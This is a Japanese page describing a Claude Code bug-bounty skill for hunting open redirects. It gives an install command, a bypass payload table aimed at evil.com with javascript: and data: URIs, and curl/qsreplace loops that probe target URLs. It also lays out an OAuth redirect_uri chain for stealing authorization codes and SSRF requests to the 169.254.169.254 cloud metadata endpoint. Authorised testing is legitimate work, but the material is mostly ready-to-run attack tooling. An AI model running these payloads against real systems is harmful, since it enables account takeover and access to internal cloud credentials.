hunt-open-redirect について
オープンリダイレクトを発見・検証する Web セキュリティテストスキルです。クライアント側のリダイレクトや回避手法を扱い、OAuth、フィッシング、SSRF への連鎖も評価します。
主な機能
- 01リダイレクトパラメーターの発見
- 02リダイレクト回避ペイロードのテスト
- 03クライアント側のリダイレクト先を調査
- 04OAuth リダイレクト連鎖の評価
- 05サーバー側リダイレクトの確認
活用シーン
- 01Web アプリのリダイレクトパラメーター監査
- 02OAuth 認可コード漏えいの可能性を確認
- 03フィッシングや SSRF への影響を評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-open-redirectインストール後、Claude Code で/hunt-open-redirectを入力して読み込まれたか確認します。
詳細
HUNT-OPEN-REDIRECT — オープンリダイレクト
最重要標的
オープンリダイレクト単体では低深刻度です。OAuth と連鎖すると、重大(ATO)になります。
価値の高い連鎖:
- オープンリダイレクト → OAuth 認証コードの窃取 — 信頼されたドメインの
redirect_uriにオープンリダイレクトが含まれている → 認証コードが攻撃者に送信される → ATO - オープンリダイレクト → フィッシング — URL が
target.comで始まるため、ユーザーが信頼する - オープンリダイレクト → SSRF へのエスカレーション — リダイレクトがサーバー側で追跡される場合 → SSRF
- オープンリダイレクト → セッション固定 — 事前設定されたセッションを使って、ユーザーをログインエンドポイントに誘導する
攻撃対象領域の兆候
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
バイパステーブル
| 手法 | ペイロード |
|---|---|
| 基本形 | https://evil.com |
| プロトコル相対 URL | //evil.com |
| バックスラッシュによるバイパス | /\\evil.com |
| アットマークの混同 | https://[email protected] |
| 二重スラッシュ | //evil.com/%2F.. |
| URL エンコーディング | %2Fevil.com |
| ヌルバイト | evil.com%00target.com |
| 空白文字 | evil.com%09 または %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| サブドメイン | https://target.com.evil.com |
| フラグメント | https://evil.com#.target.com |
手順に沿った調査方法
フェーズ 1 — リダイレクトパラメーターの検出
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
フェーズ 2 — 基本テスト
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
フェーズ 3 — バイパス手法
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://[email protected]"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
フェーズ 3b — DOM ベースのオープンリダイレクト(クライアント側のシンク)
サーバー側の Location: の検索では、JavaScript のみで発生するリダイレクトを検出できません。ソース(location.hash/location.search/document.referrer)が、ナビゲーションシンクに代入されています。
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
(PortSwigger:DOM ベースのオープンリダイレクト。)
フェーズ 4 — OAuth 連鎖テスト
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
フェーズ 5 — サーバー側リダイレクト(SSRF へのエスカレーション)
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"
自動化
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
連鎖テーブル
| オープンリダイレクトの検出結果 | 連鎖先 | 影響 |
|---|---|---|
| 任意のオープンリダイレクト | OAuth の redirect_uri バイパス | 認証コードの窃取 → ATO |
| 任意のオープンリダイレクト | 対象ドメインを含むフィッシング URL | ソーシャルエンジニアリング |
| サーバー側リダイレクト | リダイレクト追跡による SSRF | 内部サービスへのアクセス |
| ログアウトリダイレクト | セッション固定 | 既知のセッションでログインを強制 |
検証
✅ レスポンスの Location ヘッダーが evil.com(自身が管理するドメイン)を指している ✅ ブラウザーが攻撃者の管理するページにリダイレクトされる
深刻度:
- リダイレクト単体:低(ほとんどのプログラム)
- OAuth 認証コード窃取への連鎖 → ATO:高/重大
- ブランド名を使ったフィッシングへの連鎖:低〜中
- サーバー側リダイレクト → SSRF:高
コメント
Markdown 対応